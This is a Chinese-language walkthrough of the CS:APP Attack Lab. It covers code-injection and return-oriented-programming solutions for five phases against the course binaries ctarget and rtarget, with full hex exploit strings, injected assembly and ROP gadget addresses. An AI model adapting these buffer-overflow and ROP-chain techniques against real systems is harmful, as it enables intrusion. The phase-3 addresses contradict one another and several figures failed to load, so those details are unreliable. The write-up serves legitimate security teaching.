Attack lab
实验概括
要求你进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP)
文件列表:
文件 | 用途 |
---|---|
ctarget | 用来做Code injection攻击的程序,phase1-3 |
rtarget | 用来做ROP攻击的程序,phase 4-5 |
cookie.txt | 作为攻击的标识符 |
hex2raw | 用来生成工具字符串 |
farm.c | 用于生成面向返回的编程攻击 |
预备知识——缓冲区溢出
缓冲区溢出的基本原理并不复杂。缓冲区就是操作系统为函数执行专门划分出的一段内存,包括栈(自动变量)、堆(动态内存)和静态数据区(全局或静态)。其中缓冲区溢出发生在栈里,栈存放了函数的参数、返回地址、EBP(EBP是当前函数的存取指针,即存储或者读取数时的指针基地址,可以看成一个标准的函数起始代码)和局部变量。
当函数中对局部变量的赋值超过了为其分配的存储空间,超出的部分就会覆盖栈里其他部分的数据,也就是发生了缓冲区溢出。
预备知识——ROP攻击
ROP攻击
缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。
(1)栈随机化
栈随机化
的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。上述3个阶段中,栈的地址是固定的,所以我们可以获取到栈的地址,并跳转到栈的指定位置。
(2)栈破坏检测
最近的GCC版本在产生的代码加入了一种栈保护者
机制,来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个操作改变了。如果是的,那么程序异常中止。
(3)限制可执行代码区域
最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。
在ROP攻击中,因为栈上限制了不可插入可执行代码,所以不能像上述第二、第三阶段中插入代码。所以我们需要在已经存在的程序中找到特定的指令序列,并且这些指令是以ret
结尾,这一段指令序列,我们称之为gadget
。
每一段gadget
包含一系列指令字节,而且以ret
结尾,跳转到下一个gadget
,就这样连续的执行一系列的指令代码,对程序造成攻击。
示例
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
对于上述代码,进行反汇编我们可以得到如下的执行序列,从中我们一个得到一个有趣指令序列:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
其中,字节序列48 89 c7
是对指令movq %rax, %rdi
的编码,就这样我们可以利用已经存在的程序,从中提取出特定的指令,执行特定的功能,地址为0x400f18
,其功能是将%rax
的内容移到%rdi
。
指令的编码如下所示:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EKlnpPKi-1643207545641)(Attack_lab_img/1433829-d6312f1ce53cf044.png)]
movq指令编码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2zH1IS1e-1643207545642)(Attack_lab_img/1433829-2a663eb32fae331a.png)]
popq指令编码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VAdyiS15-1643207545642)(Attack_lab_img/1433829-c713c395456655fa.png)]
movl指令编码
实验开始
1) phase1
-
任务目标
让getbuf()函数返回touch1()
-
实验步骤
首先对ctarget进行gdb调试
然后对getbuf 进行反汇编
对touch1进行反汇编
可知getbuf()开辟了0x28,即40字节的空间,返回地址存在%rsp+0x28的地址,
而touch1的初始地址为0x004017c0
所以当我们存入缓冲区的数据,即touch1的初始地址可以覆盖这个返回地址时,我们就可以成功返回touch1了
攻击序列设置:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
以小端方式存储于1.txt中
用hex2raw转化为字符串,执行命令
./hex2raw <1.txt >2.txt
再执行
./ctarget -qi 2.txt
2) phase2
-
任务要求
要求程序执行完getbuf()后,执行touch2,而且还要传入参数,即你的cookie
-
实验步骤
反汇编查看touch2地址
要求我们把参数设置为cookie,即把%rdi的值改为cookie,再执行touch2. 即ret touch2的地址。
转化为汇编代码保存在1.s中,
movq $0x59b997fa,%rdi pushq $0x4017ec ret
用
gcc -c 1.s -o 1.o
指令转化为机器代码并将其反汇编,保存在2.txt中,2.txt如图
利用gdb调试,进入getbuf函数里,查看%rsp的地址
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RsN1kicB-1643207545646)(Attack_lab_img/image-20210412193826843.png)]
如上所示,我们获取到了%rsp的地址,结合上文所讲,可以构造出如下字符串,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp的地址,可以得到如下字符串,保存在1.txt中
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EpE81n3C-1643207545647)(Attack_lab_img/1433829-fa485a0533812b76.png)]
利用raw2hex转化为字符串
./hex2raw <1.txt> 2.txt
再执行
./ctarget -qi 2.txt
3) phase3
-
任务要求
第三阶段,也是需要在输入的字符串中注入一段代码,但是不同于第二阶段的是,在这一阶段中我们需要将cookie转化为字符串作为参数。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W5wE9HwP-1643207545647)(Attack_lab_img/image-20210412202523955.png)]
-
实验步骤
我们首先构造注入代码,touch3的地址为0x4018fa,根据上一关我们已经得到的%rsp地址0x5561dc78,返回地址应为%rsp+0x28(保存代码执行地址的位置),然后字符串地址应为%rsp+0x30(48),即0x5561dca0.
所以注入代码为,保存在cs.s中
movq $0x5561dc98,%rdi pushq $0x004018fa retq
汇编和反汇编
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ygPN2fnj-1643207545648)(Attack_lab_img/image-20210412203205921.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gqVgm4ZW-1643207545648)(Attack_lab_img/image-20210412203220388.png)]
利用man ascii将cookie转化为16进制
35 39 62 39 39 37 66 61 00
所以,注入序列为:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
将其保存在touch_3.txt中,执行指令,可得:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eEIkgy4J-1643207545649)(Attack_lab_img/image-20210412203956357.png)]
4) phase4
-
任务要求
在这一阶段中,我们其实是重复代码注入攻击中第二阶段的任务,劫持程序流,返回到
touch2
函数。只不过这个我们要做的是ROP攻击,这一阶段我们无法再像上一阶段中将指令序列放入到栈中,所以我们需要到现有的程序中,找到我们需要的指令序列。 -
实验步骤
我们需要的代码序列:
popq %rax movq %rax, %rdi
其指令编码为:
58 48 89 c7
在rtarget的反汇编代码中查找
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lxktkcol-1643207545649)(Attack_lab_img/image-20210412211719953.png)]
所以popq %rax指令起始地址为:0x4019ab
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dDJ3RSpd-1643207545649)(Attack_lab_img/image-20210412211839599.png)]
所以movq %rax, %rdi指令起始地址为:0x4019a2
所以得到字符串,保存在touch_4中:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
执行指令:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6F8gWQrh-1643207545650)(Attack_lab_img/image-20210412212407837.png)]
5) phase5
-
任务要求
在这一阶段中,我们需要做的就是把字符串的起始地址,传送到
%rdi
,然后调用touch3
函数。因为每次栈的位置是随机的,所以无法直接用地址来索引字符串的起始地址,只能用栈顶地址 + 偏移量来索引字符串的起始地址。从
farm
中我们可以获取到这样一个gadget
,lea (%rdi,%rsi,1),%rax
,这样就可以把字符串的首地址传送到%rax
。 -
实验步骤
解题思路:
(1)首先获取到
%rsp
的地址,并且传送到%rdi
(2)其二获取到字符串的偏移量值,并且传送到%rsi
(3)lea (%rdi,%rsi,1),%rax
, 将字符串的首地址传送到%rax
, 再传送到%rdi
(4)调用touch3
函数
(1) 第一步,获取到%rsp
的地址
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3
movq %rsp, %rax的指令字节为:
48 89 e0, 所以这一步的
gadget地址为:
0x401a06
(2) 第二步,将%rax
的内容传送到%rdi
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3
movq %rax, %rdi的指令字节为:
48 89 c7,所以这一步的
gadget地址为:
0x4019a2
(3) 第三步,将偏移量的内容弹出到%rax
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3
popq %rax的指令字节为:
58, 其中
90为
nop指令, 所以这一步的
gadget地址为:
0x4019cc
(4) 第四步,将%eax
的内容传送到%edx
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3
movl %eax, %edx的指令字节为:
89 c2, 所以这一步的
gadget地址为:
0x4019dd
(5) 第五步,将%edx
的内容传送到%ecx
0000000000401a6e <setval_167>:
401a6e: c7 07 89 d1 91 c3 movl $0xc391d189,(%rdi)
401a74: c3
movl %edx, %ecx的指令字节为:
89 d1,所以这一步的
gadget地址为:
0x401a70
(6) 第六步,将%ecx
的内容传送到%esi
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
movl %ecx, %esi的指令字节为:
89 ce, 所以这一步
gadget地址为:
0x401a13
(7) 第七步,将栈顶 + 偏移量得到字符串的首地址传送到%rax
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
这一步的gadget
地址为:0x4019d6
(8) 将字符串首地址%rax
传送到%rdi
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3
movq %rax, %rdi的指令字节为:
48 89 c7,所以这一步的
gadget地址为:
0x4019a2
整个栈的结构如下:
所以要输入的字符串为:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
70 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
保存在touch_5.txt中,执行指令: